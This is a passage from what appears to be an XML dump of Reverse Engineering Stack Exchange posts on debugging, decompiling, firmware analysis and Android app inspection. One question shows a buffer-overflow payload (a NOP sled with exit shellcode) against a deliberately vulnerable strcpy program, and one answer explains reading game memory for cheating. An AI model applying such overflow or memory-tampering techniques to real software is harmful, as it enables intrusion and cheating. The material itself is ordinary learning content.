rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;sub&gt;1. TAP FAQs. &lt;a href=&quot;https://www.taptogo.net/TAPFAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.taptogo.net/TAPFAQ&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;2. Contactless Payments: Frequently Asked Questions. &lt;a href=&quot;https://www.securetechalliance.org/publications-contactless-payments-faq&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.securetechalliance.org/publications-contactless-payments-faq&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-10-30T04:37:02.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16660" PostTypeId="2" ParentId="11225" CreationDate="2017-10-30T09:27:23.773" Score="1" Body="&lt;p&gt;So, just to clarify what is already present in the comments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gdb&lt;/code&gt;'s &lt;code&gt;break&lt;/code&gt; will place an ordinary breakpoint, which works by taking the in-memory image of the process and swapping its original instruction for a specific interrupt instruction. If I understand correctly, &lt;code&gt;hbreak&lt;/code&gt; tells the OS to monitor every instruction an compare the address of current instruction to the address of breakpoint (i.e. no modification of the in-memory image). However, the number of hardware breakpoints available at a time is limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To place a hardware breakpoint with &lt;code&gt;hbreak&lt;/code&gt;, your program must be already running with &lt;code&gt;gdb&lt;/code&gt;'s &lt;code&gt;run&lt;/code&gt;. To achieve that, you should place an ordinary breakpoint somewhere at the very beginning (let's say, &lt;code&gt;_start&lt;/code&gt; function), successfully break there, place a hardware breakpoint and then remove the original ordinary breakpoint.&lt;/p&gt;&#xA;" OwnerUserId="22096" LastActivityDate="2017-10-30T09:27:23.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16661" PostTypeId="1" CreationDate="2017-10-30T10:56:43.027" Score="5" ViewCount="1316" Body="&lt;p&gt;I have Erlang application's beam files which I want to decompile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Application is Compiled and build with 'debug_info' options. here is snippet of emake file to which is used to build application :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;apps/my_app/src/*&quot;,   [debug_info, nowarn_export_all, {outdir, &quot;apps/my_app/ebin&quot;},{pa, &quot;deps&quot;},{parse_transform, lager_transform}, {parse_transform, events_transform}]}.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried function from beam_lib module but getting following Error :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&amp;gt;{ok,{_,[{abstract_code,{_,AC}}]}} = beam_lib:chunks(abc,[abstract_code]).&#xA;** exception error: no match of right hand side value {error,beam_lib,{not_a_beam_file,'abc.beam'}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried solution mentioned in following post &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8895/decompile-erlang-beam-files-compiled-without-debug-info&quot;&gt;Decompile erlang .beam files compiled without debug_info&lt;/a&gt;&#xA; but Its not working for me. I'm getting following error :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&amp;gt; file:write_file(&quot;/tmp/my_module_disasm&quot;, io_lib:fwrite(&quot;~p.\n&quot;, [beam_disasm:file(abc)])).&#xA;ok&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/tmp/my_module_disasm file contains :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{error,beam_lib,{not_a_beam_file,'abc.beam'}}.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone have Idea ?&lt;/p&gt;&#xA;" OwnerUserId="22098" LastEditorUserId="60" LastEditDate="2017-10-30T17:17:56.577" LastActivityDate="2018-10-26T01:00:32.403" Title="Erlang Source file generation from .beam file" Tags="|decompile|erlang|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16662" PostTypeId="1" CreationDate="2017-10-30T13:33:12.840" Score="1" ViewCount="2317" Body="&lt;p&gt;I have a &lt;code&gt;.bin&lt;/code&gt; file &lt;em&gt;(It's a firmware belongs to a hardware (Cisco Access-Point) )&lt;/em&gt;. All I need to do is modifying that &lt;code&gt;.bin&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know, &lt;code&gt;.bin&lt;/code&gt; files aren't human readable. I need to convert it to either assembly or C &lt;em&gt;(to make it readable and also changeable)&lt;/em&gt;. Any idea how can I do such a thing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noted that &lt;a href=&quot;https://software.cisco.com/download/release.html?mdfid=286286192&amp;amp;softwareid=282463166&amp;amp;release=1.0.0.15&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; is the file I'm talking about.&lt;/p&gt;&#xA;" OwnerUserId="22099" LastActivityDate="2017-11-29T17:26:43.927" Title="How can I convert a .bin file to either assembly or C?" Tags="|disassembly|binary-analysis|firmware|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16663" PostTypeId="2" ParentId="16662" CreationDate="2017-10-30T13:54:20.350" Score="1" Body="&lt;p&gt;The contents of that archive is not a single file, and so it cannot be &quot;converted&quot; to assembly. It'd only appear as a very long list of literal &lt;code&gt;db&lt;/code&gt; statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a cursory look, the file starts with some kind of header indicating which part go where. The parts themselves appear to contain a complete file system, as well as some sort of checksum at the end of each file (block?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you know the following point, then you cannot make it &lt;em&gt;changeable&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;what the meta-structure of this single file is,&lt;/li&gt;&#xA;&lt;li&gt;what the file structure of the &lt;code&gt;rootfs&lt;/code&gt; is, and&lt;/li&gt;&#xA;&lt;li&gt;how the checksum is calculated,&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Plain &quot;readable&quot; could possibly be already out of your league.&lt;/p&gt;&#xA;" OwnerUserId="22100" LastEditorUserId="18698" LastEditDate="2017-10-30T16:31:35.940" LastActivityDate="2017-10-30T16:31:35.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16667" PostTypeId="2" ParentId="16661" CreationDate="2017-10-30T18:30:48.143" Score="4" Body="&lt;p&gt;Have you tried using &lt;a href=&quot;http://ferd.github.io/recon/recon.html#source-1&quot; rel=&quot;nofollow noreferrer&quot;&gt;recon:source/1&lt;/a&gt;?&#xA;I think it does exactly what you need.&#xA;If you don't want to use it, at least you can get inspiration from &lt;a href=&quot;https://github.com/ferd/recon/blob/6e420aaa9bb8ee5ad376231f47698b9621811ef0/src/recon.erl#L496-L500&quot; rel=&quot;nofollow noreferrer&quot;&gt;its source code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-spec source(module()) -&amp;gt; iolist().&#xA;source(Module) -&amp;gt;&#xA;    Path = code:which(Module),&#xA;    {ok,{_,[{abstract_code,{_,AC}}]}} = beam_lib:chunks(Path, [abstract_code]),&#xA;    erl_prettypr:format(erl_syntax:form_list(AC)).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22103" LastActivityDate="2017-10-30T18:30:48.143" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="16668" PostTypeId="1" AcceptedAnswerId="16674" CreationDate="2017-10-30T21:15:37.140" Score="1" ViewCount="5055" Body="&lt;p&gt;I was watching this series of videos and I noticed that his memory addresses were not changing every time he restarted the game and/or olly. In addition, his comments seemed to stick around and he was able to easily find where he had been working previously. &lt;a href=&quot;https://www.youtube.com/watch?v=BHYjxsDROn4&amp;amp;t=8s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=BHYjxsDROn4&amp;amp;t=8s&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also trying to grab specific memory addresses and write a basic program that allows me to change them by writing to them externally, but every time I try to do it the memory address changes. I realize that memory is dynamic and this is supposed to happen, but I don't understand why it was not happening to him. Is it just because it is an older video and that's how it used to work, or am I missing something. In addition, in order to do it now I assume I need to somehow get the offset from the base address. Every video I watch about doing this refers to finding an offset for a pointer. Do only pointers maintain a static offset? If so, how do I find this in ollydbg?&lt;/p&gt;&#xA;" OwnerUserId="22104" LastActivityDate="2017-10-31T15:44:37.717" Title="Getting the correct memory address for a specific value" Tags="|ollydbg|c++|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16669" PostTypeId="1" AcceptedAnswerId="16670" CreationDate="2017-10-31T00:52:23.383" Score="0" ViewCount="1118" Body="&lt;p&gt;I have seen the ways to modify an apk using apktools and adding android:debugging=&quot;true&quot; but I have an apk that check for changes and crashes if any changes are made. Is it possible to capture the running thread and set a breakpoint using smalidea or something similar? I'm trying to capture some info from the apk in order to write something similar as I'm not getting any feedback from the original developer (in China).&lt;/p&gt;&#xA;" OwnerUserId="15740" LastActivityDate="2017-10-31T02:57:36.270" Title="Debugging third party apk without modifying apk" Tags="|debugging|android|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16670" PostTypeId="2" ParentId="16669" CreationDate="2017-10-31T02:57:36.270" Score="4" Body="&lt;p&gt;You can't debug an apk on a user build of Android, unless the app has the android:debuggable=&quot;true&quot; attribute in the manifest&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you have a phone you can flash, you can flash a version of Android that allows debugging of any app. userdebug builds allow this, for example. I believe it's the &quot;ro.debuggable&quot; system attribute that controls this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option might be to try running the app in an emulator, which also allows debugging of any app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you're able to debug the app, you can use smalidea or any other debugging tools that you want.&lt;/p&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2017-10-31T02:57:36.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16672" PostTypeId="1" CreationDate="2017-10-31T10:33:21.657" Score="3" ViewCount="344" Body="&lt;p&gt;I am reversing an application for the 3ds which are compiled with ARMCC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the vtables of the key classes and have a problem figuring out how the C++ representation of these was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vtable of first base class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fBase::dtor&#xA;0                     // no dtorFree&#xA;fBase::function1&#xA;fBase::function2&#xA;...&#xA;fBase::function13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Vtable of second base class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sBase::dtor&#xA;0                     // no dtorFree&#xA;sBase::function1&#xA;fBase::function2&#xA;...&#xA;sBase::function13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the problematic one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vtable of Actor class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Actor::dtor&#xA;0                     // no dtorFree&#xA;sBase::function1&#xA;fBase::function2&#xA;... (3-12)&#xA;sBase::function13&#xA;0                     // gap in vtable?&#xA;Actor::function14&#xA;Actor::function15&#xA;... (16-19)&#xA;Actor::function20&#xA;0                     // gap in vtable?&#xA;Actor::function21&#xA;Actor::function22&#xA;... (23-34)&#xA;Actor::function35&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the beginning I assumed that these are pure virtual function (Actor::function20-1()=0;) but these &quot;gaps&quot; in the vtables are not &quot;overwritten&quot; by any top level classes and thus the gaps also end up in their vtables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes these empty vtable entries and how'd the C++ representation look like?&lt;/p&gt;&#xA;" OwnerUserId="22108" LastActivityDate="2020-05-22T08:41:39.353" Title="ARMCC/C++ Empty Vtable entries" Tags="|decompilation|c++|arm|virtual-functions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16673" PostTypeId="2" ParentId="16672" CreationDate="2017-10-31T11:15:56.670" Score="2" Body="&lt;p&gt;Two possibilities come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;These are slots for pure virtual methods. In many implementations the compiler provides something like &lt;code&gt;__purecall&lt;/code&gt;  or &lt;a href=&quot;https://itanium-cxx-abi.github.io/cxx-abi/abi.html#pure-virtual&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;__cxa_pure_virtual&lt;/code&gt;&lt;/a&gt; to catch accidental calls, but since they are not supposed to happen anyway, a NULL works just as well on resource-constrained platforms.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Itanium C++ ABI reserves two slots preceding the function table itself for the &lt;a href=&quot;https://itanium-cxx-abi.github.io/cxx-abi/abi.html#vtable&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;offset to top&lt;/em&gt; and &lt;em&gt;typeinfo pointer&lt;/em&gt;&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In most classes, offset to top is 0 and the typeinfo pointer can be zero as well if RTTI is not used, so normally you would see &lt;em&gt;two&lt;/em&gt; zeroes between vtables, so I strongly suspect you have the case #1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why they're not overridden, maybe it's a bug in the source code. As long as they're not actually called it's all kosher from the C++ point of view AFAIK.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-31T11:15:56.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16674" PostTypeId="2" ParentId="16668" CreationDate="2017-10-31T11:52:44.253" Score="3" Body="&lt;p&gt;Your your post contains multiple questions, I recommend separating them, and providing more details to them. My answer will be vague for this reason. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the unchanging memory addresses, I assume what you are looking for is &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASLR&lt;/a&gt;. Read &lt;a href=&quot;https://blogs.msdn.microsoft.com/winsdk/2009/11/30/how-to-disable-address-space-layout-randomization-aslr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://icompile.eladkarako.com/disable-aslr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; on the subject. As far as I know, you could use &lt;a href=&quot;https://support.microsoft.com/en-us/help/2458544/the-enhanced-mitigation-experience-toolkit&quot; rel=&quot;nofollow noreferrer&quot;&gt;EMET&lt;/a&gt; or patch the executable directly to disable ASLR, thus the addresses wont change.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4625/how-to-find-functions-in-games/4630#4630&quot;&gt;other techniques&lt;/a&gt; to find your address, even if its changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for offsets, they are usually added to a static address, to it to access the objects field/property. The specific addresses and offsets obviously depends on what you are trying to do, and should be acquired from your executable, by observing it in a debugger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Lets assume that you found that the game has a &lt;code&gt;player&lt;/code&gt; object in the memory (the location might change on every run). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lets say that you found a static pointer an instance of the &lt;code&gt;player&lt;/code&gt; object called &quot;pPlayer&quot;, at this memory address: &lt;code&gt;0xAB1234&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lets also say that you know (because you reverse engineered the objects structure) that the &lt;code&gt;player&lt;/code&gt; objects has a field containing the health points of your in-game character, stored as an integer, at the &lt;code&gt;0x16&lt;/code&gt; offset.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;By adding the found offset to the &lt;code&gt;player&lt;/code&gt; object address (base address of the object), you will get the memory address containing the character's &#xA;current HP. And you could read it like this externally in your program or Cheat Engine: &lt;strong&gt;[[0xAB1234]+0x16]&lt;/strong&gt;. In pseudo code it means that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;AddressOfPlayerObject = memory.Read(0xAB1234)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;AddressOfHP = AddressOfPlayerObject + 0x16&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;PlayerHP = memory.Read(AddressOfHP)&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2017-10-31T13:18:22.760" LastActivityDate="2017-10-31T13:18:22.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16675" PostTypeId="1" AcceptedAnswerId="16689" CreationDate="2017-10-31T14:52:25.623" Score="5" ViewCount="4185" Body="&lt;p&gt;I am trying to disassemble the firmware for the Cisco Sx300 switch as found here: &#xA;&lt;a href=&quot;https://software.cisco.com/download/release.html%3Fmdfid%3D283019611%26softwareid%3D282463181%26release%3D1.2.7.76&quot; rel=&quot;noreferrer&quot;&gt;https://software.cisco.com/download/release.html%3Fmdfid%3D283019611%26softwareid%3D282463181%26release%3D1.2.7.76&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While some documentation for other iterations of Wind River's firmware exist, I have not encountered a working set of tools for this particular firmware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Binwalk gives some results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Cisco VxWorks firmware header, header size: 80 bytes, number of files: 15, image size: 6988894, firmware version: &quot;1.2.7.76&quot;&#xA;209           0xD1            LANCOM WWAN firmware&#xA;1483          0x5CB           LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 16016448 bytes&#xA;3984149       0x3CCB15        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 859164 bytes&#xA;4153128       0x3F5F28        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2962457 bytes&#xA;4847723       0x49F86B        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2122505 bytes&#xA;6914211       0x6980A3        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 66664 bytes&#xA;6932632       0x69C898        XML document, version: &quot;1.0&quot;&#xA;6950635       0x6A0EEB        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 121427 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, extraction with the -e flag doesn't provide meaningful results. Several files are extracted, but others end up as corrupt archives, or file that are are too small to be actual files. I am not certain that the LZMA compressed data isn't false positive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembly with IDA fails, as I do not know the loader address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Cisco help resource suggests that there is some form of compression going on:&#xA;&lt;a href=&quot;https://supportforums.cisco.com/t5/small-business-support-documents/how-to-recover-a-reboot-loop-on-sx300/ta-p/3134953&quot; rel=&quot;noreferrer&quot;&gt;https://supportforums.cisco.com/t5/small-business-support-documents/how-to-recover-a-reboot-loop-on-sx300/ta-p/3134953&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This help support post confirms that the Firmware is ARM based, but I am not certain as to the exact make of the chip. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that previous iterations of the VxWork's Firmware had the loader address in the header. Analysis of the header did not find a useable address at the suggested location (0x14)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WJRHY.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WJRHY.png&quot; alt=&quot;Very likely a VxWorks Header&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted to match up the strings in the firmware to string tables and was not able to find any string tables, despite a thorough search. This supports my notion that it is compressed, or otherwise packed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, I searched through the binary for probable addresses in order to deduce the loader address. I was not able to find any commonly referenced addresses or ranges. This was especially hard, as none of the binary was able to be correctly analyzed by IDA. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something easy and fundamental here? Is there a special technique for VxWorks firmware? &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2018-01-02T09:44:17.543" Title="Disassembling VxWorks Firmware" Tags="|disassembly|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16676" PostTypeId="2" ParentId="16668" CreationDate="2017-10-31T15:33:11.167" Score="3" Body="&lt;p&gt;The reason his memory addresses weren't changing &lt;em&gt;in that scenario&lt;/em&gt; is because the game is 32-bit and loaded into memory conventionally per &lt;strong&gt;&lt;a href=&quot;https://blogs.msdn.microsoft.com/oldnewthing/20141003-00/?p=43923&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms809762.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/strong&gt; (do a CTRL + F for 0x400000 and read the paragraph the first 2 results are located in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also see addresses referenced by a symbol name, like ac_client.exe+5B2C0, where ac_client.exe references a base of 0x400000 plus the offset 0x5B2C0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for what you're trying to accomplish in C++, there are Windows functions you can use to identify a process and then acquire its base address. Then you can base offsets off that. If your addresses are changing every time you start the game, then as Dominik suggested, ASLR may be what you're dealing with. Or an anti-cheat/obfuscation implementation like Denuvo. Or a game utilizing something like JVM which can change addresses &lt;em&gt;and&lt;/em&gt; sub-routine instructions with each restart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your options are commonly to reference a symbol name, find a base address + offset to reference, or identify a byte signature (aka &quot;array of bytes&quot;) you can scan for--of which you then acquire an address to use either in and of itself, or as a reference point to base an offset from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a lot more to all of this, but I &lt;em&gt;highly&lt;/em&gt; recommend you pick up the book &lt;strong&gt;&quot;&lt;a href=&quot;https://www.nostarch.com/gamehacking&quot; rel=&quot;nofollow noreferrer&quot;&gt;Game Hacking&lt;/a&gt;&quot;&lt;/strong&gt;. For what you're looking to do, it will impart quite a bit of wisdom to you that you'd otherwise spend hours upon hours trying to piece together via posts and videos. It also provides code snippets you need for things like acquiring the PID of a running process, etc.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2017-10-31T15:44:37.717" LastActivityDate="2017-10-31T15:44:37.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16677" PostTypeId="1" AcceptedAnswerId="16680" CreationDate="2017-10-31T18:49:20.617" Score="3" ViewCount="7767" Body="&lt;p&gt;So I just started with reverse engineering and have run into some issues until I recently noticed something strange. I wrote an extremely simple shellcode (exit system call) for practice and I played around with it in gdb. I use the following code to create my payload:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(python -c 'print &quot;\x90&quot; * 498 + &quot;\x31\xdb\xb0\x01\xcd\x80&quot; + &quot;\x2c\xd1\xff\xff&quot;')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I run this payload against the following program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main(int argc, char **argv)&#xA;{&#xA;  char buffer[500];&#xA;  strcpy(buffer, argv[1]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compiled the program with: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tcc -m32 -mtune=i386 -g vuln.c -fno-stack-protector&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, here's my problem. When I run the payload against the program in gdb like this, it works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) r $(python -c 'print &quot;\x90&quot; * 498 + &quot;\x31\xdb\xb0\x01\xcd\x80&quot; + &quot;\x2c\xd1\xff\xff&quot;')&#xA;Starting program: /root/exploiting/a.out $(python -c 'print &quot;\x90&quot; * 498 + &quot;\x31\xdb\xb0\x01\xcd\x80&quot; + &quot;\x2c\xd1\xff\xff&quot;')&#xA;[Inferior 1 (process 2573) exited normally]&#xA;(gdb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I run it on my command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~/exploiting# ./a.out $(python -c 'print &quot;\x90&quot; * 498 + &quot;\x31\xdb\xb0\x01\xcd\x80&quot; + &quot;\x2c\xd1\xff\xff&quot;')&#xA;Segmentation fault&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why does this happen? Is this supposed to happen?&lt;/p&gt;&#xA;" OwnerUserId="22111" LastActivityDate="2022-04-02T20:56:41.363" Title="Why does my shellcode work in gdb but not on the command line" Tags="|gdb|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16678" PostTypeId="1" AcceptedAnswerId="16679" CreationDate="2017-10-31T19:25:48.947" Score="0" ViewCount="124" Body="&lt;p&gt;I'm trying to dump a few pieces of info that happen at the very beginning of the start up of a third party app and not after the app is running. I have debugged on other platforms and there is usually a way to load the app and then halt before start up in order to link into it for debugging. Is there a similar mechanism with Android debugging? Using ddms, I can connect and set break points once the app is running.&lt;/p&gt;&#xA;" OwnerUserId="15740" LastActivityDate="2017-10-31T19:45:57.120" Title="Android debugging, stop before app starts on third party app" Tags="|debugging|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16679" PostTypeId="2" ParentId="16678" CreationDate="2017-10-31T19:45:57.120" Score="2" Body="&lt;p&gt;Yes. Go to settings-&gt;developer options and select the app you want to debug in the &quot;Select debug app&quot; option, and then make sure the &quot;wait for debugger&quot; option is turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when the app starts, the device will show a dialog and wait for you to attach a debugger before the app starts running.&lt;/p&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2017-10-31T19:45:57.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16680" PostTypeId="2" ParentId="16677" CreationDate="2017-10-31T21:15:14.280" Score="4" Body="&lt;p&gt;gdb messes with your environment variables, and could disable ASLR. Most likely, starting gdb and running ‘unset env LINES’ and ‘unset env COLUMNS’ before throwing your shellcode will make the output line up with execution outside gdb. :)&lt;/p&gt;&#xA;" OwnerUserId="4409" LastActivityDate="2017-10-31T21:15:14.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16681" PostTypeId="1" AcceptedAnswerId="16687" CreationDate="2017-10-31T22:16:04.100" Score="4" ViewCount="1811" Body="&lt;p&gt;I have identified a routine that behaves exactly like printf in an ARM64 binary.  Arguments are passed in the standard fashion (e.g. X0, X1, X2 ...) and I have given the function the signature (Y) of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int printf(char* fmt, ...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does the &quot;right thing&quot; some of the time, but not very frequently.  Usually it'll miss any arguments after the second one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to tell HexRays more about this routine, so that it &quot;does the right thing&quot; and displays the data correctly?  As an example, one of the lines is effectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf(&quot;%s: %s: foo: 0x%llx, bar: 0x%llx, baz: %u\n&quot;, &quot;function_name&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When it should have several more arguments, as indicated by the format string (and which are actually loaded into registers immediately before the call).&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2017-11-01T17:19:10.683" Title="HexRays: Variadic methods like printf" Tags="|ida|arm|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
